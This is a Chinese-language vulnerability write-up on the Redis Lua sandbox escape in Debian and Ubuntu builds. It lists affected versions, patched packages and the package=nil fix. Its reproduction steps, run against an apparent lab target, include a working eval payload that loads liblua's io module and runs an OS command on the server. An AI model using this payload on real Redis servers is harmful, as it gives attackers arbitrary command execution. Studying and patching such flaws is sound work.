漏洞简介
redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库。造成redis沙盒逃逸漏洞的原因主要是由于redis lua,redis嵌入了lua编程语言作为其脚本引擎,可通过eval命令使用lua,lua引擎是沙盒化的,不能在运行redis的服务器上执行任意代码。但在Debian以及ubuntu发行版上,由于打包问题,在lua沙箱中遗留了一个对象package,攻击者可以利用这个对象package逃逸redis lua沙盒,在运行redis的服务器上执行任意命令。
漏洞影响版本
● 2.2 <= redis < 5.0.13
● 2.2 <= redis < 6.0.15
● 2.2 <= redis < 6.2.5
漏洞复现
第一步:
访问靶机IP
第二步:
进入攻击机,连接目标靶机redis数据库
kali安装流程:
● wget http://download.redis.io/redis-stable.tar.gz (下载redis-stable.tar.gz)
●
● tar -zxf redis-stable.tar.gz (解压tar -zxf redis-stable.tar.gz)
●
● cd redis-stable (进入到 redis-stable 目录)
●
● make (编译)
●
● 编译完成之后,再将 src 目录下的 redis-cli 拷贝到 /usr/bin/ 目录下一份,这样就可直接使用 redis-cli 了
●
连接目标主机:
redis-cli -h 123.58.224.8 -p 64939
第三步:
在redis cmd执行以下语句,即可在安装redis的服务器上执行whoami命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0
漏洞修复
将redis软件包升级更新到以下版本
Debian:
● Debian Redis(buster):5:5.0.14-1+deb10u2
● Debian Redis(bullseye):5:6.0.16-1+deb11u2
● Debian Redis(unstable):5:6.0.16-2
Ubuntu:
● Ubuntu 21.10 Redis:5:6.0.15-1ubuntu0.1
● Ubuntu 20.04 Redis:5:5.0.7-2ubuntu0.1
修复方法:在 Lua 初始化的末尾添加package=nil